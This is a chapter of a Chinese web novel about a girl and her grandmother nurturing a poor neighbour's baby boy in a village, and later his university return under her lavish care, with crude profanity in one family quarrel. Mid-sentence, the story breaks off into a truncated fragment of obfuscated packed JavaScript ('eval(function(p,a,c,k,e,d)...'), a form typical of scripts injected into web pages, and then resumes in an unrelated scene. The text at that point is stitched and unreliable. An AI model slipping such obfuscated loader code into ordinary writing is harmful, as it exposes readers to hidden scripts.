外婆是个爱干净重体面的老太太,皮肤白皙细嫩,银白的头发上涂着桂花香油,亚麻旗袍上绣着粉白的玉兰,发髻上簪着一排老银珍珠簪,穿着小羊皮厚底鞋。即使年过六十,也是腰不弯背不驼,能看出年轻时姣好的窈窕身段。她家的三层大冰箱里长年存放着妈妈通过冷链寄过来的各种冰鲜食材,火腿、海参、肥牛、燕窝、猴头菇……都是望口村人只在电视上才听到看到的。九岁的武厉枭不知道那些食材的难得,只知道隔壁那个只有三家黄泥巴夯筑的破房子里动不动就传来吵闹哭骂的声音,只知道苏家那个疯媳妇生孩子都是在自家炕上由接生婆和婆婆剪断脐带的,只知道苏家小弟弟出生后吃的一口饭是棒子面粥,只知道苏家那根顶了五十年的木质房梁上晚上睡觉时跑老鼠,只知道苏家的旱厕一推开门,里面的苍蝇蚊子能把人屁股咬烂…… 她经常看到家里的做饭的王婶婶跑来找外婆,“老太太,您去管管吧,苏家又打架呢……您去了,还能震慑他们两句……” 然后外婆就身姿笔挺一脸威严地走进那个破茅草房,把小小的晏清抱过来,“你们都先冷静冷静,把家里收拾好,我再把孩子抱来,省得你们待会儿没轻没重地伤到孩子!”然后又让王婶婶从园子里拔些新鲜的蔬菜,捞一尾鲜鱼,再称五斤粳米送过去,“他们吃饱了,气顺了,不打架了,我和枭枭也能睡个安稳觉。给苏家媳妇单独炖一碗猪蹄汤,送一些跌打药和两件干净衣服。对了,家里的香皂洗发水什么的也送一些过去。年纪轻轻的媳妇,就算再疯,也要有点体面。” 可武厉枭却担心不已,“他们今天吃饱了,明天肚子还会饿,不是还会打架吗?他们一打架就砸东西,终有一天砸到小弟弟怎么办?” “枭枭,我们能力有限,”外婆摸了摸她的头,叹气道,“这孩子是可怜,只是,我们都没有能力护他一辈子。” 武厉枭抱着怀中那玉雪可爱的婴孩喃喃道,“宝宝,如果你是我弟弟就好了,我来护你一辈子。” 武厉枭从冰箱里拿出鳕鱼、鲜虾仁和紫菜,学着王婶婶的样子给苏晏清做面条。外婆笑着夸她,“这味道真像超市买的康师傅翡翠鲜虾面!枭枭,你无意中破解了方便面的配方呢!” “真的吗?外婆?”武厉枭得了意,于是天天换着花样给苏晏清做辅食:香糯的枣泥饭团,还有把香蕉压成泥,加上花生粉、牛奶上锅蒸,蒸得香软甜烂的香蕉羹。肉沫鸡汤蒸蛋羹、蘑菇肉丝鸡蛋饭、萝卜排骨疙瘩汤、三虾高汤阳春面、乌鸡豆花羹、山药肉饼蛋羹……每次苏老婆儿看到武厉枭给苏晏清喂饭,都念秧秧:“枭枭呀,你别给清宝吃那么好的东西。我家不比你外婆家是大户。这娃娃把嘴巴吃馋了,回去就吃不得我家那粗茶淡饭了。你就宠他吧……穷人家的娃娃草根命,太宠了会伤了福气……”村里的其他老奶奶也会半羡慕半寒酸道,“苏老婆儿,你家祖坟串绿烟了,晏清整天在吴家大宅里,吃好的喝好的,养得跟半个少爷似的……” 武厉枭瞥了她一眼,根本就理会,依旧把苹果凤梨糕和草莓汁喂给苏晏清,心想:“我才不听你的呢!这是我弟弟,我就要给他吃我做的饭,吃最好的饭。” “姐姐,除了我,那个时候你还会带别的乡亲家的孩子玩吗?” “很少,那些孩子有的太调皮,有的脏兮兮的,有的爱哭爱闹……不像你,又漂亮又干净,还听话。我那个时候经常给你穿个小白衬衫,小背带裤,你就搬个小板凳坐在院子里,小胖手托着腮,安安静静地看我练拳。那些婶子大娘们谁路过都说:晏清像老年间大户人家的小公子似的……” 七月流火,但吴家大宅的客厅照样被空调和吊扇吹得肌肤无汗。苏晏清被武厉枭抱到沙发上,看液晶电视里的暑期少儿节目:《大风车》、《喜羊羊与灰太狼》、《小小智慧树》……有时还看央视七套的警察和军事节目,或者陪外婆看韩剧和台湾大长剧。茶几上永远摆满了望口村孩子很少见的精美吃食:酸奶、巧克力奶、凤梨酥、鱼肉豆干、盐汽水、巧克力夹心饼干……吴家大宅的卫生间里长年放着玫瑰精油,故而香喷喷的,电热水器里随时可以流出热乎乎的水。武厉枭把脱得光不出溜的苏晏清抱到浴缸里洗澡,那些香香滑滑的泡沫涂在他的头发上、脸上、身上、屁股上……他高兴得又拍水又蹬腿,水花溅得武厉枭满身满脸都是,她一点也不生气,反而夸奖他:“宝宝的小腿真有劲……哪吒又闹海了……宝宝,你变成了童话里的水孩子啦……” 苏晏清突然想起来了什么似的,“姐姐,我想要小鸭鸭一起洗澡。” “不行,小鸭鸭不能跟小宝宝一起洗澡。它们会咬你的肉肉。”武厉枭从屋里拿出一些塑料小鸭子放进澡盆里,“这些小鸭鸭不咬肉肉,让它们跟你一起洗,好不好?” “好,今天的水怎么像阿婆喝的茶茶,怎么还有花花?” “这是金银花和胎菊,外婆说了,夏天用这两种花煮水给小宝宝泡澡,不长痱子……” “那宝宝要多泡一会儿……” 苏晏清玩水玩累了,玩困了,武厉枭就把他抱到藤条竹篾编的凉床上睡午觉。吴老太太摸着他圆溜溜的头笑道,“小孩子见水儿长,一玩水就爱睡觉,睡得香长得也快……” 夏天的望口村,蝉鸣阵阵,愈发燥热。苏晏清在吴家每天最少要洗上几个澡,换三身衣服。院中的石榴花树和紫薇花树都差不多有一百多岁了,红艳艳的花如漫天的锦霞。薄荷、紫苏、艾草、益母草像较劲似的,使劲地散发着阵阵草木清芬,浓烈醉人。抬眼望,湛蓝的天空下,蝴蝶蜻蜓像赶着开会似的,飞得密密麻麻的。村子里谁路过谁吸鼻子,“哎呀!真香,真好闻,跟香水铺子似的……” 苏晏清洗好了澡,被武厉枭抱出来,换上吴老太太从集市上给他买的小裤衩,和武厉枭小时候的白棉布小老虎肚兜,举着吴老太太给他做的七彩小风车,戴着姐姐编的花篮满院子跑。有时候他看到头上的紫薇花鲜亮耀眼,就伸着小胖手要:“花花……花花……”姐姐就手脚麻利地爬上去给他摘一朵,“宝宝,这叫紫薇花,美不美?” “美……”苏晏清捏着紫薇花,冷不防摔了一跤,紫薇花摔烂了,他懊恼地哭了起来,“花花没有啦……呜呜呜……” 武厉枭从外婆的梳妆台上取来口红,给他额心点了个小红点,拿镜子照给他看,“宝宝,你现在比花还美了,是不是?” 苏晏清破涕为笑,拍手道,“宝宝美……宝宝美……” 武厉枭牵着苏晏清的小手来到池塘边,接天莲叶无穷碧,映日荷花别样红。苏晏清看到荷叶上的青蛙,“蛙蛙!蛙蛙……”武厉枭用狗尾巴草编了毛茸茸的青蛙给他,“宝宝,你的蛙蛙更大……” 王叔叔摇着船橹,载着满船的莲蓬和硕大粉红的莲花,远远地朝着武厉枭抛过来,“枭枭,今年咱家的莲花开得又大又红,荷塘里的鱼也肥,刚才还有几条跳到我船上来了……” 武厉枭把莲花递给苏晏清,自己抱着莲蓬,牵起他往家走,“宝宝,走,回去做蜜莲子和绿豆甜汤给你吃。” “姐姐,宝宝也想坐船船。” “你还小,等秋天的时候,麦麦丰收了,麦浪金黄金黄的,让王叔叔带你割麦麦。你躺在那麦田里,风一吹,金黄的的麦浪翻啊翻,滚啊滚,比坐船船还舒服。你这小鼻子一闻,哎呀,麦麦比花花还香……” 武厉枭从冰箱里拿出了一瓶不怎么凉的盐汽水,小心翼翼地喂了苏晏清喝,“宝宝别喝太急,小心肚子疼。” 苏晏清痛快地喝了一大口,高兴地直扭小屁股,“好凉好甜……” 后院的桑树绿叶纷披,武厉枭用杆子采了满满一大筐,帮苏晏清装了一小筐,带着他去蚕室里喂蚕。“宝宝,你看这些白白的虫虫,他们也是宝宝,是蚕宝宝。” “蚕宝宝……”苏晏清拿出一片桑叶喂蚕,“宝宝喂蚕宝宝……” “等蚕宝宝长大了,吐出丝来,给你做漂亮的衣服,好不好?” “好,也给阿婆做,给姐姐做,做有花花的衣服……” 八月中旬,果园的草莓成熟了,武厉枭背着小竹筐带着苏晏清来园子采草莓。鲜红欲滴的大个草莓馋得苏晏清口水都要流下来了。武厉枭赶紧阻止他,“馋猫猫,还没洗呢!”她带着苏晏清到水龙头旁洗干净手,又洗了几个草莓,给他放个小提篮里,用胳膊挎着,“来,跟着姐姐,摘下来的放到姐姐的筐筐里,没洗的不能吃,肚肚里会长虫子!” 苏晏清拿出一颗带着水珠的草莓放到武厉枭嘴边,“姐姐吃莓莓,甜莓莓……” 向晚的清风吹来,鸟儿们驮着夕阳归巢,薰衣草那岁月静好的香味阵阵袭来。吴老太太吩咐王婶婶,“天气燥热,别弄热菜了,晚餐开在院子里,就吃些酸酸凉凉的东西吧。” “是,老太太。” 于是吴家庭院里的餐桌上就有了麻酱花生凉皮、土豆泥饭包、凉拌蒜蓉青瓜、凉拌豆腐葱花皮蛋、凉拌猪头肉、果醋浸虾、青皮流油的咸鸭蛋……王婶婶是嘉兴人,最擅长包粽子,荷叶的,箬叶的,三角的,四角的,五花肉花生粽、板栗红豆沙粽、红枣葡萄干粽、枣泥山药粽……武厉枭剥了一个蛋黄芋泥粽放到苏晏清碗里,“宝宝,这种灰汤粽是咬食的,吃了再多也不涨肚……” 王婶婶笑道,“枭枭真懂事,真有当姐姐样……” 吴家大宅饭后的甜点一天一个花样。昨天是湃在井水里的西瓜,浮着碎冰、干桂花和柠檬片的山楂酸梅饮。今天是一咬一口沁凉香甜的木莲薄荷羹,拌着奶油和冰沙的甜瓜、桑葚和杨梅——这是吴老太太祖上传下来的方子,叫冰甜碗子,还有一道用木薯和芋艿做的又香又甜的甜品,配上柚子和芒果,叫冷圆子。明天是用冰屑、蛋清、奶粉一层层浇上去,再洒一把葡萄干的叫酥山。绿豆、百合和冰糖一起熬煮,撒一层玫瑰花瓣,放上大冰块,就是绿豆甜粥。后天是色如翡翠的神仙豆腐,淋上冰牛奶和蜂蜜,或是紫苏桂花酱,甜凉爽滑,妙不可言。最好喝的还是姜片、菠萝、苹果做的鲜榨果汁,因为吴老太太说:“冬吃萝卜夏吃姜,不用医生开药方。”果汁中挤一些柠檬,酸甜开胃,苏晏清一喝这个都停不下来,武厉枭急得跟他抢杯子,“宝宝,你再喝,晚上睡觉该尿床了,你奶奶又该打你啦……” 吴老太太给苏晏清擦了擦满嘴的麻酱,“清宝,猪头肉香不香?” “香……” “乖,明天早上王婶婶做虾米紫菜馄饨和手搓鱼丸,让你姐姐给你送去。” “谢谢阿婆……” 厨房里飘出了浓郁的花香、甜香和奶香,王婶婶端出了一碟子刚考好的鲜花饼,笑盈盈道,“老太太让我烤一些糕点给枭枭和晏清吃,这里面有玫瑰花馅的,茉莉花馅的,花生馅的,芸豆莲蓉馅的……对了,老太太,池塘里的荷叶长得正好,明天我做荷叶老鸭汤给您进补,好不好?” “好,放一些酸笋进去,酸溜溜的更开胃,这几天太热,我看他们两个小家伙苦夏,都瘦了。对了,玉梅寄过来的韩式冷面,有工夫也给孩子们做了,面汤用苹果雪梨浸一下,卤牛肉和鸡蛋做浇头,酸酸甜甜的,他们小孩子肯定喜欢……” 王叔叔抱着个大冬瓜走了进来,“老太太,这个冬瓜好,给孩子做成冬瓜蜜饮,最是清凉解暑……” 长大后的苏晏清看到了《水孩子》的故事,才明白了姐姐的意思,“姐姐,是你把我从扫烟囱的脏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“水果外婆不让我多喂,她说:水蜜桃只准喂小半个,弟弟那么小,吃撑了肚子不得了。还好你还算乖,你要是哭闹还要吃,外婆搞不好还得说我:非要喂他吃,弄哭了又收不了场。后来你大了一些,能自己吃东西了,我就把西瓜舀成一个个小圆球球放到你的小碗里,让你用勺子舀着吃。哎呀,你一吃西瓜,嘴巴也是红的,衣服也是红的,变成个红宝宝啦……至于那番茄牛肉汤,嘿嘿嘿……我做了两次就不敢做了。” “嗯?为什么呢?” “我一做,好几个婶子大娘都抱着家里的孩子来,端着小碗央告我:枭枭,我家孩子闻着香味,闹得不得了。你也给我们舀一勺尝尝吧。没办法,我只能一人给舀一碗,还送了几个百香果给他们。外婆说:行善也不要太高调,容易招人嫉妒。所以啊,我也不敢再做了,怕给你招嫉妒。” “姐姐……” “你呀,一到了晚上,你奶奶要抱你回去睡觉,你就哭,就是不肯,非要跟着我。我呢,就开着空调,把你放在竹席上给你讲故事,把你哄睡了再抱回去……” 月明星稀,乌鹊南飞,纺织娘的叫声里洋溢着夜来香的芬芳,武厉害怀里抱着熟睡的苏晏清,胳膊上挎着个大包袱“吱呀”一声推开了苏家的两扇柴门。苏老婆儿刚要接过苏晏清,被她低声喝止住了,“别换手,小心弄醒清宝。苏奶奶,你把我包袱里的竹席拿出来给他铺好。” 苏老婆儿忙慌手慌脚地按武厉枭的吩咐,从包袱里拿出冰丝竹席,涂上了一层爽身粉,摆好了藤席云片枕,武厉枭才把苏晏清扶着头轻轻放上去。她拿出包袱里的小风扇给苏老婆儿,“清宝睡觉爱出汗,一出汗就哭闹容易醒。有这个小风扇吹着,他能睡舒服些。但不要对着他肚子吹,会着凉。”她又拿出了一片纸尿裤和紫草膏,“他如果尿了拉了,记得给他换纸尿裤,别用尿布。” “是是是……”苏老婆儿连连点头,“我知道纸尿裤更好,就是贵了点儿,一片好几块钱……” 武厉枭皱眉道,“外婆不是说了吗?都是乡里乡亲的,清宝缺了什么,让你们尽管开口。我今天给他洗澡的时候,发现小屁股洇得通红的,这么热的天,洇破皮了怎么办!” 苏老婆儿面颊发热,不敢做声了。武厉枭环顾四周,“苏奶奶,你家蚊子也太多了。小宝宝血甜,最招蚊子。”她从包袱里拿出一个竹制的小蚊帐给苏晏清罩上,又朝四周猛喷了一阵驱蚊花露水,瞬间屋里甜香四溢。“这蚊帐是王叔叔王婶婶给清宝做的,苏奶奶,这花露水没有毒性,还能驱蚊子。这些东西我都放你家。夏天蚊子毒,小孩子肉嫩,包叮得多,会感染的。” “是是是……”苏老婆儿头有千斤重,“枭枭说得对,我一定注意,一定注意……” “明天我送个宝宝便盆过来,苏奶奶,记得及时倒,倒一次刷一次,要不这么热的天,会有味道……” “嗯,倒一次刷一次,我记住了。” “还有啊,”武厉枭的眼睛扫了一圈苏家老酒鬼和苏家赌鬼,“外婆给清宝宝的枕头,勺子,口杯,碗……都要专人专用,这样才卫生。就说这枕头,大人的头发爱出油,枕了宝宝的枕头,没几天就枕黄了。” 苏老婆下死劲斜了苏家老酒鬼和苏家赌鬼一眼,陪着笑脸道,“对对对,枭枭说得对!大人头发臭嘴巴脏的,不能用孩子的东西……” “对了,外婆让王婶婶做八宝鸭,明天早上我来抱清宝去我家吃鸭子,明天一天你可以不用准备他的饭了。” “是是是,谢谢枭枭,谢谢老太君,辛苦他王婶了……” 武厉枭走后,苏老婆儿下灶烧热水灌暖瓶,苏家老酒鬼喝得五迷三道,听到那摔锅砸碗的声,不由得一拍炕沿,“要死啊你!叮当的,炸房子呀!” 苏老婆儿赶紧进屋擂了他一拳,瞪着眼珠子压低嗓子道,“你要死!死岂八咧地吵吵什么!等会儿清宝醒了哇哇嚎,吴家听到声儿,又得过来呲哒咱们!” 苏家老酒鬼撇撇嘴,揉揉被揍的肩膀头,也压低了声儿嘟囔着,“死老婆子就知道跟我俩横!枭枭那丫头片子训你,你咋屁都不敢放!” 苏老婆儿丧声歪气道,“你咋不敢放?我嫁了你这么多年,被个丫头片子训得跟三孙子似的,你这当老爷们儿的咋不替我出头!” “那……”苏家老酒鬼心虚道,“吴家隔三差五地接济咱们,我……我那点儿花生米咸鸭蛋的酒菜都是吴家给的……” “呸!老不死的贱骨头贼!就特么知道塞!炫你那□□子!一辈子的酒鬼馋痨的瘟灾鬼,咋不嘎巴一声瘟死你呢?操你妈的!瘟死你好给那好人倒地方!” “你不炫!你不炫□□子!”苏家老酒鬼不服气道,“吴家送来的米,面,没填你那坑?” “填了!我承认,我吃了吴家嘴短,用了人家的气短,腰子不壮,活该挨呲哒……”正说着,苏家赌鬼起夜上茅房,被苏老婆儿拎过后脖颈子来又骂了几句,“滚过来,灌暖瓶!” 苏家赌鬼平时也是个有脾气的,今天一看老娘脸色也不敢顶嘴,只得悻悻地灌好暖瓶,“妈,大晚上的灌暖瓶干啥?” “干啥?杀你秃噜毛!”苏老婆儿眼珠子瞪得溜圆,“给你儿子预备着,夜里哭了好泡奶粉!你也别闲着,把仓房里的干艾草拿一些放进屋里,省得叮了清宝,明天我又挨训!我这上辈子造了什么孽,贪上你们现世的鬼……” “老妈你也是的……”苏家赌鬼边抱艾草边顶嘴,“她一个丫头片子,你怕她干啥?她又不能揍你……” “□□八辈祖宗……”苏老婆儿一巴掌拍到苏家赌鬼后脑上,“你巴不得你老娘我挨骂是不是,你但凡有点人样,我能在村里抬不起头来!”她晃了晃手里的奶粉和奶瓶,“瞧瞧,就这奶粉和奶瓶,都是吴家接济的……那天吴家老王媳妇来送奶瓶奶粉,又阴阳怪气了一顿:苏婶,你家大人们夜里闹意见,也不要总刮楞着孩子。老辈子人都说:小孩子魂还没长全,不禁吓的,三吓两吓的吓掉了魂,往后读书都不聪明了……造孽呦,我个当亲奶奶的,混得跟给地主家伺候少爷的老妈子似的。” “老王媳妇不就是个吴家的长工老妈子吗?她说你,你怼她两句不就得了。” “闭死你那臭嘴!你那嘴都不如鸡腚尖味儿香!都是你们两头鬼害的,一个杀千刀,一个狼掏的货!猪不食狗不啃的玩意儿!耗子都比你体面些!铺点艾草都铺不明白,这辈子都不如那吃屎的狗顶用!” 苏家赌鬼不敢吱声了,把艾草铺好,随便拿起一个杯子刚想喝水,被苏老婆儿一把抢下来,照着脑门子“啪”地就是一巴掌,“放下!你也配用这个杯子喝水!” 苏家赌鬼看了看那个写着英文字,画着小狮子的不锈钢吸管马克杯,不耐烦道,“又咋地啦!” “咋地?那是清宝的杯子!枭枭用零花钱给他买的!你那八百辈子不刷一次牙的大臭嘴,你他妈的也配用这个杯子!”苏老婆儿又拍了一下苏家老酒鬼,“还有你!老棺材瓤子!你那天还用清宝的小勺舀花生豆吃,你那牙都焦黄焦黄的,你咋臭不觉味儿呢!要你那个逼脸吗?” 苏家老酒鬼一脸不忿道,“我那嘴又没吃粑粑,舀几个花生豆咋地啦!” “呸!”苏老婆儿一口啐在他脸上,“臭不要脸的糟烂货!我警告你俩啊!晏清的小枕头小被子你俩都不许动,别整天提拉个死大脑瓜子逮那儿往哪儿躺,一个个的那头油味儿都能熏死个人!孩子那小枕头让你俩睡得黑黄黑黄的!枕头芯都一股子油臭味儿!你俩实在不行就天天去牲口棚睡觉,扎猪粪堆儿里,反正那味儿都差不多……”苏老婆儿边说边摸腰间的钥匙,刚要打开五斗橱的锁头,又猛地想起来,喝道,“扭过脸去!” 苏家老酒鬼和苏家赌鬼赶紧把脸转过去不敢看,苏老婆儿从五斗橱里面珍重地捧出奶粉罐子,用小勺舀了一些放到奶瓶里,再把奶粉罐子塞到五斗橱里面,重新锁上五斗橱。“告诉你俩啊,这奶瓶里的奶粉,我都是有数的,夜里给清宝泡着喝的。这奶粉是枭枭舅妈从县城里给清宝买的,说是外国奶粉呢!你俩啊,别趁我睡着了又贼心不死地打着奶粉的主意,像上次似的偷着拿筷子蘸着嗦了味儿。等我夜里给清宝泡奶粉,发现这奶粉少一丁点啊,我把你俩那满嘴恶臭恶臭的黄板牙拿钳子一个一个地全掰掉……” “姐姐,那时你是怎么哄我睡的?” “抱着你拍,边拍边唱歌,唱《小燕子》,唱《让我们荡起双桨》,《唱世上只有妈妈好》……有的时候啊,还给你讲故事,讲《白雪公主》,讲《小红帽》,讲《睡美人》……讲着讲着,你就睡着了。” 苏晏清躺在床上,拉着武厉枭的手,让她坐在自己身边,“我要重新体验一遍被姐姐哄睡的感觉,好不好?” 武厉枭含笑刮了一下他的鼻子,“都多大了,还要姐姐哄睡?” 苏晏清把武厉枭的手拉到自己肚子上,“不嘛不嘛,姐姐拍拍……” “好……那先给你拍张照片!”武厉枭拿出手机,拍好了照片,才轻轻拍着他,满眼温柔道,“姐姐给你讲《哪吒闹海》的故事。从前啊,有个小朋友叫哪吒,他生下来是个肉球球……” “姐姐,为什么要给我拍照片呀?” “我要用你的照片当手机屏保,这样我才能真正你回到我身边了。睡吧,明天姐姐带你去必胜客吃披萨,吃冰淇淋。你小时候啊,每次我带你去小卖店买冰淇淋,你都特别高兴。那个时候你还说不清楚话,管冰淇淋叫冰冰凉……哈哈哈……后天啊,咱们去吃椰子鸡汤火锅,汤特别清甜……” 苏晏清不知不觉进入了梦乡,他的皮肤白皙而静谧,好像一层冬夜的薄雪。 武厉枭拉过被子给他盖上,自己也悄悄离开了她的房子。她不知道自己心里是什么感觉,只觉得那十四年的噩梦,十四年心里缺失的一块,终于补全了。 12. 苏晏清回学校 一月后休养时间很快就结束了,武厉枭让王玉梅的助理开着自己那辆路虎,把给苏晏清准备的整整三个大拉杆箱的衣服、食物、被褥、洗漱用品、生活日用品一并送到山大。尤其以食物居多:苏打饼干、费列罗巧克力、全麦面包、坚果、葡萄糖片、叶黄素软糖、红枣、桂圆、枸杞还有一大桶乳清蛋白粉和一大桶黑芝麻谷物粉,以及牛油果、车厘子、帝王蕉、巨峰葡萄、美国红提等各种水果。 “姐姐,我的柜子会装不下的。” “我给你准备了好几个收纳箱,不会装不下的,放心吧。宝宝你记得,补钙、补铁、补血的药,每天都在放在药盒里,记得按时吃。书包里要常备着苏打饼干和巧克力,肚子饿了一点就赶紧吃,你本来就低血糖,不吃会头晕。还有这些核桃、腰果、夏威夷果、榛子、杏仁,每天都要吃,健脑的……还有啊,我已经打听好了,你们宿舍楼有公共冰箱,可以存放食物。这些车厘子、牛油果、释迦什么的你就存放进去,一天吃一些。” “姐姐,卤牛肉太多了,我怕吃不完。” 武厉枭抿嘴一笑,“傻宝宝,男生宿舍里还能有吃不完的肉?只有抢不着嗷嗷叫的饿痨鬼!你看我那些义子,一见到肉个个眼珠子冒绿光。他们抢肉都抢出经验来了,什么手快有,手慢无。什么稳准狠,横穿平端……个顶个的脸皮厚。这牛肉啊,也是你小时候爱吃的。” 望口村人常说:吴家大宅的冰箱冰柜和粮仓里的东西如果都拿出来,能保全村人三年大旱不饿死。就说里面的牛腱子肉,都是从日本冷链空运来的。那个时候,因为吴老太太说小孩子吃牛羊肉长骨头,蒙古人个个骨架子大,都是吃牛羊肉吃的。王婶婶就隔三差五地给武厉枭做牛肉吃。武厉枭便从苏家把小小的苏晏清一起抱过来吃牛肉。牛肉土豆泥、牛肉沫拌面、牛肉香菜蒸饺……结果第二天又得挨苏老婆儿一顿抱怨:“枭枭,下回别给清宝吃牛肉了,一吃牛肉他拉粑粑一泡拉那么多,滂臭滂臭的,还全是黑色的……” 武厉枭冷冷道,“牛肉也比棒子面粥咸菜疙瘩强。我外婆说:小孩子吃鸽子肉脑子聪明。苏奶奶,明天你窝头可以少蒸几个,我来抱清宝去我家吃芝麻糖包,喝鸽子汤。” “宝宝,这种洗发水是无硅油的,这种洗面奶是纯植物的,有烟酰胺。还有啊,这是防晒喷雾,记得每天都要做好防晒。还有,这是柔肤保湿水,这是精华液,你用完了就跟我说,别自己买那些杂牌子便宜货……”武厉枭打开手机,惊喜不已道,“宝宝你看……我跟你们辅导员申请进你们法学院25级政法一班的家长微信群,通过了……哈哈哈……我也是家长啦……” “姐姐,辅导员还说什么时候请你来做讲座呢。” “哎呦,我实操还可以,法律条文这方面……你们班人均高考六百分的学霸面前,我可不敢班门弄斧。”武厉枭突然兴奋道,“对了,你们现在有家长会吗?亲子运动会呢?家长开放日,有没有?有没有?” “没有,不过姐姐你想来随时可以来,我带你参观。对了,听说毕业时会举办典礼和舞会,家长们可以参加。” “哎呀,那我一定要来。哈哈哈……当家长的感觉太爽啦!对了,宝宝,你坐第几排?你同桌是好学生吗?他调皮吗?上课讲小话吗?你说我要不要在群里@你们辅导员:麻烦老师给我们晏清座位往前调调,给他换个好学生当同桌。天热的时候@你们辅导员:我家宝宝总是不记得喝水,麻烦老师提醒他……哈哈哈……还有还有,期末考试的试卷要不要家长签字?有没有周末作业需要家长打卡?哎呀,对了,你们有没有手抄报要画?我们单位那些宝爸宝妈最头疼的就是画手抄报了?还有,你们专业课有没有需要家长监督背诵的?要不要家长签字……” 苏晏清笑笑,“姐姐,我又不是小学生了,这些都不用的。不过你要是想检查我的背诵作业,我可以给你背一下《宪法》。还有,我最近准备考六级,我可以把每天刷的卷子拍给你批改。” “批改就不用了,英语我都忘得差不多了。那说定了,回学校后,也要每天跟我分享你的生活。” “那是必须的。”苏晏清看着武厉枭手里的风干五香精白腊肉、芹菜、龙眼干、莲子、红枣、红豆,不由得奇道,“姐姐,为啥要带这些东西呢?这是送给谁的?” “你们学院的辅导员,书记,主任,还有你所有专业课的老师,姐姐都准备了一份,这叫束脩之礼。肉干为谢师恩,芹菜喻业精于勤,龙眼干喻启窍生智,莲子喻苦心教学,红枣祝早日高中不负师恩,红豆愿宏图大展报答谆谆教诲之情。学童启蒙,家长给先生送束脩之礼,是古时的规矩。武家历代儿孙都是这样的。我小时候入学第一天,爷爷就是这样牵着我的手,提着束脩之礼给我的班主任送去。对了,爷爷还送了一把戒尺,不是真的让班主任打我,就是表达家长尊师重道,会全力支持老师管教的意思。” “可是,我现在不是启蒙……” “姐姐错过了你的小学一年级,就不能错过你的大学一年级了。今天早上黄奶奶为啥做葱油拌面?这也是武家的规矩,学童入学第一天,要吃葱油拌面,为的是讨个口彩,以后读书聪明。还有,爷爷昨天为啥让妈妈送来一个苏绣兰花椅垫?苏绣针法绵密,千针万纳,意思就是有千万根针扎住屁股,读书的时候要坐得住板凳,不要总想着跑出去玩。这个护腰坐垫,能托住腰,久坐也不会累……”武厉枭又看了一眼手机,“哎呀,你们辅导员把院服厂家的联系方式发给我了,我让他们把院服寄到你们宿舍,你记得查收。” “院服?” “对呀,你们辅导员说,你去年入学时备品没买,院服不订,院活动费也没交。姐姐替你一一交上了。” 苏晏清不好意思道,“那些备品,就是脸盆被褥什么的,我把福利院里的带过去了……院服……有点贵……活动费,一年也要五百多……我就想着……能拖一下,等打工攒到了钱再说……” 武厉枭一脸严肃道,“福利院的被褥和大学里的不是一样规制的,查寝的时候不整齐,会扣分的。院服是为了集体活动时穿,不穿会显得没有集体荣誉感。至于活动费,大学里学院的集体活动比较多,合唱、聚餐、运动会、文艺汇演……不交活动费,不参加集体活动,不就孤立了吗?”她握住了苏晏清的手,“宝宝,以后需要钱的话就跟姐姐说,武家不缺钱,武家的孩子,不能因为钱被人瞧不起!” 苏晏清垂下头去,“知道了,姐姐。” “还有,你们辅导员说你冬令营和研学都没参加,说是要打假期工?” “嗯……”苏晏清头有千斤重,“我想着,先挣钱,攒够了费用再去……” 武厉枭握住他的手,“宝宝,以后的卓越法律人夏令营,法学前沿夏令营,你都要去,包括那些国际交流的夏令营,你都要去。这是长见识的好机会,你不要担心钱。你参加夏令营的费用姐姐包了。你现在的任务,就是读书和享受生活。” 苏晏清带武厉枭参观了号称“卫生重灾区”的男生宿舍,果然没有想象中的臭袜子臭鞋满天飞,每张桌子都清新整洁,床铺上一尘不染,衣服分门别类,码得整整齐齐。但她依旧不满意,捏了捏苏晏清的床垫,“这么薄的垫子,晚上能睡好觉吗?” “姐姐,这是我刚入学时从大学城里的旧货市场买的,都是大四的学长们卖的二手床垫,很便宜的。” 武厉枭摇摇头,“那些别人睡过的怎么能用呢?汗渍污渍都渗进去了,很脏的。”她打开手机,拨通了王玉梅生活助理的电话,“给晏清送一个新床垫来,把他的蚊帐也换掉。” 李光明笑道,“大姐,清哥是我们全公寓的标兵级卫生模范,我排第二,国君儿那落后分子在我俩的熏陶下,也略有好转。” 刘国君用胳膊勒住李光明的脖子,“昨天清哥打来电话说大姐要来视察卫生,你蹲地上用钢丝球蘸洗衣粉水把所有的鞋刷了六遍才彻底没味儿了,还好意思说我!你个无耻的灵长类……” “你不无耻!大姐我告诉你啊,刘国君这厮鸟以前是个黄毛!”李光明反唇相讥,“他怕你扫黄打非把他抓进去,昨天晚上现染回来的。” “靠!你个爬行类水陆两栖!”刘国君毫不客气地揭老底,“大姐不知道,这死胖子还要在宿舍里养法斗呢!我坚决给否了。我说宿舍里有他一个屁篓子已经够崩溃了,再养个法斗,早晚得起火灾……” “大姐,洗衣机的事不怪我呀,上次我用咱们这层楼的洗衣机洗鞋子,不是让宿管抓到罚钱了吗?” “啊?”武厉枭瞪大了眼睛,“你们还有人用宿舍楼的洗衣机洗鞋子?不怕有细菌吗?” 刘国君解释道:“大姐您不知道,我们男生比细菌还脏,真有点病毒,指不定谁传染谁呢?不过清哥不一样,清哥是神仙,不食人间烟火。” 武厉枭赶紧又发了一条语音,“马上帮晏清办一张山大附近的龙胜护理中心的洗衣卡,对,svip,□□的那种。” 苏晏清脸色略有些不自在,“姐姐,快中午了,我带你去宿舍吃饭吧。我们食堂的饭菜又便宜又好吃。” 苏晏清刚走进食堂,贫困生窗口的打饭阿姨就热情地朝他招手道,“晏清快来!今天早饭剩了不少豆腐脑,我特意给你留的,卤子里还有肉沫呢。” 苏晏清心里一慌,武厉枭赶紧走过去,皱眉道,“大姐,什么豆腐脑啊?” 打饭阿姨道:“您是晏清的姐姐吧?跟您说,这孩子可好了,你看别的孩子都是吃完了饭,把餐盘丢到餐盘车里就不管了,只有他,每次吃完饭都主动帮我们刷餐盘,清洗餐盘车,擦桌子。我们看这孩子懂事,每天早饭买剩的,午饭卖剩的都给他留着,这样他午餐吃早饭剩的,晚餐吃午饭剩的,一天就能省两顿饭钱了。有时候有卖剩的牛奶水果什么的,我们也会给他留着。唉,我自己家的孩子和晏清一样大,学习不怎么样,花钱大手大脚,我一个月给他两千块钱生活费都不够。晏清这么努力,这么勤俭,还整天米饭配免费例汤的那么吃,正是长身体的半大小子,这么吃,身体非垮了不可!造孽呦,真不知道父母怎么忍心让孩子受这份罪。” 